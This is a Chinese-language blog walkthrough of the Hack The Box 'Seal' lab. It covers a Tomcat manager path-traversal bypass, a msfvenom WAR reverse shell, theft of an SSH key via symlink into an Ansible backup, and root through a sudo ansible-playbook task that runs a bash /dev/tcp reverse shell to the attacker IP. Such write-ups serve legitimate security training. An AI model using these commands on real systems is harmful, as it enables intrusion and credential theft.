Hack The Box 是一个比较热门的国外靶机练习平台,里面有许多搭建好的靶场提供给网络安全爱好者练习渗透测试,靶场环境偏向于生活实际中渗透测试环境,这对提升内网渗透技术有很好的帮助。
一、环境
靶场IP:10.10.10.250
Kali ip:10.10.16.5
二、信息收集
用nmap扫描主机端口,发现主机开放了22、443、8080端口:
nmap -sC -sV -T4 10.10.10.250
访问10.10.10.250:8080,发现一个注册页面,注册一个账号登录后,从页面提示可以知道,这里是用tomcat在443端口搭建管理的代码。
查找敏感文件信息,发现tomcat的user.xml历史文件存在这样一条记录:
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
里面可能是tomcat的账号密码。
用ip带443端口打不开网页,所以在hosts里写入了一条域名解析记录:
echo 10.10.10.250 seal.com >> /etc/hosts
访问https://seal.com,页面显示如下:
因为之前发现中间件有tomcat,所以尝试访问下tomcat默认登录目录/manager/status
尝试用前面得到的用户名和密码登录,结果成功登录tomcat:
尝试访问管理界面/manager/html发现无法访问,显示权限不够,但发现了一个解析漏洞,可以通过/manager/status/..;/html绕过限制。
这个漏洞的原理就是当tomcat和反向代理(比如nginx)一起使用的时候,会出现标准化不一致的情况,tomcat会将序列/..;/转化为/../并将路径规范化,而反向代理不会规范此序列并将其按原样发送到Apache Tomcat。
三、Getshell
通过Burpsuite修改路径,利用这个绕过漏洞,尝试在文件上传这里打包一个war包的shell上传:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.5 LPORT=4444 -f war -o shell.war
原请求包为:
修改路径后的请求包为:
显示上传成功,在页面这里能看到上传的位置:
监听4444端口,访问https://seal.com/shell/,成功反弹shell:
收集下信息,发现luis用户目录下存在user.txt文件,但目前权限只是tomcat,没有访问权限,不能读取user.txt,所以下一步要做的是想办法提权。
四、提权
4.1 获取 user flag
在opt/backups目录下发现备份和playbook文件夹,在网上搜索了一下ansible playbook实例教程的相关资料,发现这个yml文件是在做文件备份作用。
所以尝试使用软链接把luis用户的ssh密钥放到uploads目录下,然后就可以在/opt/backup/archives目录下看到备份文件:
ln -s ~/home/luis/.ssh/id_rsa   /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
cp backup-2021-11-08-09:36:33.gz /dev/shm // 拷贝到另一个地方,防止备份被覆盖
cd /dev/shm
mv backup-2021-11-08-09:36:33.gz backup.tar.gz //重命名
tar -xvf backup.tar.gz
解压之后就可以从中得到luis用户ssh的私钥,如下图所示:
这里有两个坑要注意:
1. 首先私钥文件的权限要设置成600,否则登录时会提示有权限问题,还要输入密码。
2. 密钥文件的格式问题——鼠标选中复制的时候,可能移动到“KEY——”就结束了,这会导致格式不对,在文件末尾还要加个换行。
chmod 600 id_rsa
ssh -i id_rsa [email protected]
成功登录进luis用户的ssh账号,获取到user.txt内容。
4.2 获取root flag
sudo -l 发现是ALL,不需要密码就可执行/usr/bin/ansible-playbook
通过之前查阅的playbook资料,发现可以构造一个yml文件来执行命令,这里执行一个发弹shell命令:
- name: command execution
hosts: localhost
tasks:
- name: elevated privileges
command: "bash -c 'exec bash -i &>/dev/tcp/10.10.16.5/5000 <&1'"
监听5000端口,使用/usr/bin/ansible-playbook执行root.yml:
成功获取到root权限,读取到root.txt内容。
后文
再次复现实验过程的时候发现使用Nmap扫描端口时,结果中显示443端口绑定的域名是seal.htb,所以后面的hosts里IP绑定的域名写入的应该是seal.htb,而不是自己随便取的seal.com,但这靶场对这并没有考点,所以问题不大。
本站文章由渡缘人原创,如若转载请注明原文及出处:
https://www.hygrey.com/hack-the-box-seal.html
Comments NOTHING